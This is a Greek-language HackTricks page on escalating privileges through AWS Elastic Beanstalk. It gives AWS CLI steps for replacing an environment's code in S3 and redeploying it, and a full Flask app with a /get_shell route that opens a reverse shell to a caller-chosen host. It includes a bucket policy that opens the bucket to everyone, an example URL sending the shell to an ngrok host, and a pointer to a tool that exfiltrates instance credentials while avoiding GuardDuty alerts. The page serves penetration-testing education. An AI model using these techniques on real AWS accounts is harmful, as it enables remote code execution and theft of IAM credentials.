AWS - Elastic Beanstalk Privesc

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Ερυθρού Συνεργείου HackTricks AWS)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Elastic Beanstalk

Περισσότερες πληροφορίες σχετικά με το Elastic Beanstalk στο:

AWS - Elastic Beanstalk Enum

Για να εκτελέσετε ευαίσθητες ενέργειες στο Beanstalk θα χρειαστείτε πολλές ευαίσθητες άδειες σε πολλές διαφορετικές υπηρεσίες. Μπορείτε να ελέγξετε για παράδειγμα τις άδειες που δίνονται στο arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk

elasticbeanstalk:RebuildEnvironment, Δικαιώματα εγγραφής στο S3 & πολλά άλλα

Με δικαιώματα εγγραφής στον κάδο S3 που περιέχει το κώδικα του περιβάλλοντος και δικαιώματα για ανακατασκευή της εφαρμογής (χρειάζεται elasticbeanstalk:RebuildEnvironment και μερικά ακόμα σχετικά με S3, EC2 και Cloudformation), μπορείτε να τροποποιήσετε τον κώδικα, να ανακατασκευάσετε την εφαρμογή και την επόμενη φορά που θα έχετε πρόσβαση στην εφαρμογή θα εκτελέσει τον νέο κώδικά σας, επιτρέποντας στον εισβολέα να διακινδυνεύσει την εφαρμογή και τα διαπιστευτήρια του ρόλου IAM της.

# Create folder
mkdir elasticbeanstalk-eu-west-1-947247140022
cd elasticbeanstalk-eu-west-1-947247140022
# Download code
aws s3 sync s3://elasticbeanstalk-eu-west-1-947247140022 .
# Change code
unzip 1692777270420-aws-flask-app.zip
zip 1692777270420-aws-flask-app.zip <files to zip>
# Upload code
aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247140022/1692777270420-aws-flask-app.zip
# Rebuild env
aws elasticbeanstalk rebuild-environment --environment-name "env-name"

elasticbeanstalk:CreateApplication, elasticbeanstalk:CreateEnvironment, elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, iam:PassRole, και περισσότερα...

Τα ανωτέρω συν μερικές άλλες άδειες για S3, EC2, cloudformation ,autoscaling και elasticloadbalancing είναι απαραίτητες για τη δημιουργία ενός σεναρίου Elastic Beanstalk από το μηδέν.

  • Δημιουργία μιας εφαρμογής AWS Elastic Beanstalk:

aws elasticbeanstalk create-application --application-name MyApp
aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role

Αν ένα περιβάλλον έχει ήδη δημιουργηθεί και δεν θέλετε να δημιουργήσετε ένα νέο, μπορείτε απλά να ενημερώσετε το υπάρχον.

  • Συσκευάστε τον κώδικα της εφαρμογής και τις εξαρτήσεις σας σε ένα αρχείο ZIP:

zip -r MyApp.zip .
  • Μεταφόρτωση του ZIP αρχείου σε ένα S3 bucket:

aws s3 cp MyApp.zip s3://elasticbeanstalk-<region>-<accId>/MyApp.zip
  • Δημιουργία μιας εκδοχής εφαρμογής AWS Elastic Beanstalk:

aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="MyApp.zip"
  • Αναπτύξτε την έκδοση της εφαρμογής στο περιβάλλον AWS Elastic Beanstalk σας:

aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0

elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, cloudformation:GetTemplate, cloudformation:DescribeStackResources, cloudformation:DescribeStackResource, autoscaling:DescribeAutoScalingGroups, autoscaling:SuspendProcesses, autoscaling:SuspendProcesses

Καταρχάς, πρέπει να δημιουργήσετε ένα πραγματικό περιβάλλον Beanstalk με τον κώδικα που θέλετε να εκτελέσετε στο θύμα ακολουθώντας τα προηγούμενα βήματα. Πιθανώς ένα απλό zip που περιέχει αυτά τα 2 αρχεία:

from flask import Flask, request, jsonify
import subprocess,os, socket

application = Flask(__name__)

@application.errorhandler(404)
def page_not_found(e):
return jsonify('404')

@application.route("/")
def index():
return jsonify('Welcome!')


@application.route("/get_shell")
def search():
host=request.args.get('host')
port=request.args.get('port')
if host and port:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,int(port)))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
return jsonify('done')

if __name__=="__main__":
application.run()

Αφού έχετε το δικό σας περιβάλλον Beanstalk εκτελούμενο το rev shell σας, είναι ώρα να το μεταφέρετε στο περιβάλλον του θύματος. Για να το κάνετε αυτό, πρέπει να ενημερώσετε την πολιτική του Bucket του S3 του beanstalk ώστε το θύμα να μπορεί να το προσπελάσει (Σημειώστε ότι αυτό θα το κάνει να είναι ανοιχτό σε ΟΛΟΥΣ):

{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "eb-af163bf3-d27b-4712-b795-d1e33e331ca4",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"s3:ListBucket",
"s3:ListBucketVersions",
"s3:GetObject",
"s3:GetObjectVersion",
"s3:*"
],
"Resource": [
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022",
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022/*"
]
},
{
"Sid": "eb-58950a8c-feb6-11e2-89e0-0800277d041b",
"Effect": "Deny",
"Principal": {
"AWS": "*"
},
"Action": "s3:DeleteBucket",
"Resource": "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022"
}
]
}

{% κώδικας υπερχείλιση="τυλίγματος" %}

# Use a new --version-label
# Use the bucket from your own account
aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-2.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="revshell.zip"

# These step needs the extra permissions
aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0

# To get your rev shell just access the exposed web URL with params such as:
http://myenv.eba-ankaia7k.us-east-1.elasticbeanstalk.com/get_shell?host=0.tcp.eu.ngrok.io&port=13528

Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBeanstalk) can be used to deploy a Beanstalk application that takes advantage of overly permissive Instance Profiles. Deploying this application will execute a binary (e.g., [Mythic](https://github.com/its-a-feature/Mythic) payload) and/or exfiltrate the instance profile security credentials (use with caution, GuardDuty alerts when instance profile credentials are used outside the ec2 instance).

The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections.
Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Last updated